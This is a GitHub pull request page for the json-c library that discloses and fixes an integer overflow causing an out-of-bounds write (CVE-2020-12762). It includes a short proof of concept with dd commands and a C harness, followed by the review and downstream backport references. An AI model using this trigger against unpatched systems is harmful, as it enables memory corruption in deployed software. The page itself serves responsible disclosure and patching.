Prevent out of boundary write on malicious input #592

Merged hawicz merged 3 commits into `json-c:master` from `stoeckmann:oob` on May 6, 2020

Conversation 16 | Commits 3 | Checks 0 | Files changed 3

stoeckmann commented on May 2, 2020 — Contributor

I have discovered a way to trigger an out of boundary write while parsing a huge json file through a malicious input source. It can be triggered if an attacker has control over the input stream or if a huge load during filesystem operations can be triggered.

Preparation:

```
$ dd if=/dev/zero of=poc.json bs=1 count=1 seek=2147483647
```

Code to exploit:

```
#include <json-c/json_util.h>
#include <unistd.h>
int main() {
  json_object_from_fd(STDIN_FILENO);
  return 0;
}
```

Proof of Concept:

```
(dd if=poc.json bs=4096; sleep 1; dd if=test.json bs=10) 2>/dev/null | ./test
```

Explanation:
The problem manifests itself in printbuf_memappend. On properly crafted values, p->bpos + size + 1 can overflow, which leads to the assumption that p->size is still large enough. In normal circumstances, this does not happen with json_object_from_fd due to its buffer size leading to proper detection. But if the parsed buffer chunk length is not a power of 2 (sleep 1 and bs=10 triggers this in my proof of concept), this overflow can be abused by an attacker to write past the memory boundary of p->buf.

My example simply crashes the program eventually. A proper attack can be controled in a way to not crash the system but simply write a few attacker controlled bytes outside the allocated area, allowing more sophisticated attacks against real world programs.

coveralls commented on May 2, 2020 • edited

coverage 86%

Coverage decreased (-0.2%) to 85.768% when pulling `d07b910` **on stoeckmann:oob** into `8e3d3d5` **on json-c:master**.

hawicz requested changes on May 3, 2020

View changes

- `linkhash.c` Outdated — Show resolved
- `arraylist.c` — Show resolved
- `linkhash.c` Outdated — Show resolved
- `printbuf.c` Outdated — Show resolved
- `printbuf.c` Outdated — Show resolved

stoeckmann added 2 commits 2 years ago

- `Protect array_list_del_idx against size_t overflow.` ··· `099016b`
- `Prevent division by zero in linkhash.` ··· `77d935b`

hawicz requested changes on May 6, 2020

View changes

- `linkhash.c` Outdated — Show resolved

- `Fix integer overflows.` ··· ✓ `d07b910`

hawicz commented on May 6, 2020 — Member

The changes look good, thanks!

hawicz merged commit **31243e4** into `json-c:master` on May 6, 2020
2 checks passed

View details

robimarko added a commit to sartura/openwrt that referenced this pull request on May 12, 2020

`libjson-c: backport security fixes` ··· `f442e9a`

robimarko added a commit to sartura/openwrt that referenced this pull request on May 12, 2020

`libjson-c: backport security fixes` ··· `247640b`

robimarko added a commit to sartura/openwrt that referenced this pull request on May 12, 2020

`libjson-c: backport security fixes` ··· `4697386`

robimarko mentioned this pull request on May 12, 2020

libjson-c: backport security fixes openwrt/openwrt#3019

Closed

robimarko added a commit to sartura/openwrt that referenced this pull request on May 12, 2020

`libjson-c: backport security fixes` ··· `fcba60b`

jow- pushed a commit to openwrt/openwrt that referenced this pull request on May 13, 2020

`libjson-c: backport security fixes` ··· `bc0288b`

aiamadeus pushed a commit to immortalwrt/immortalwrt that referenced this pull request on May 13, 2020

`libjson-c: backport security fixes` ··· `7e4ff10`

jow- pushed a commit to openwrt/openwrt that referenced this pull request on May 14, 2020

`libjson-c: backport security fixes` ··· `4cd9ae4`

KexyBiscuit mentioned this pull request on May 14, 2020

json-c CVE-2020-12762: integer overflow and out-of-bounds write AOSC-Dev/aosc-os-abbs#2153

Closed

3 tasks

Whissi mentioned this pull request on May 15, 2020

Please check if affected by CVE-2020-12762 rsyslog/libfastjson#161

Open

jow- pushed a commit to openwrt/openwrt that referenced this pull request on May 16, 2020

`libjson-c: backport security fixes` ··· `15d73a2`

This was referenced on Jun 17, 2020

json_c: add patch for CVE-2020-12762 NixOS/nixpkgs#90688

Merged

[20.03] json_c: add patch for CVE-2020-12762 NixOS/nixpkgs#90700

Merged

jollaman999 pushed a commit to jollaman999/openwrt that referenced this pull request on Jul 9, 2020

`libjson-c: backport security fixes` ··· `781933d`

lunatickochiya pushed a commit to lunatickochiya/lunatic-lede that referenced this pull request on Sep 6, 2020

`libjson-c: backport security fixes` ··· `a4c8f1d`

lunatickochiya pushed a commit to lunatickochiya/lunatic-lede that referenced this pull request on Sep 6, 2020

`libjson-c: backport security fixes` ··· `549e429`

biliwala pushed a commit to biliwala/friendlywrt that referenced this pull request on Oct 16, 2020

`libjson-c: backport security fixes` ··· `646fdeb`

jpuhlman pushed a commit to MontaVista-OpenSourceTechnology/poky that referenced this pull request on Nov 10, 2020

`json-c: Security Fix for CVE-2020-12762` ··· `c0b01e7`

fredericg78 mentioned this pull request on Sep 13, 2021

Vuls in server mode since v0.15.14: json schema update ? future-architect/vuls#1303

Open

Reviewers

hawicz

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

3 participants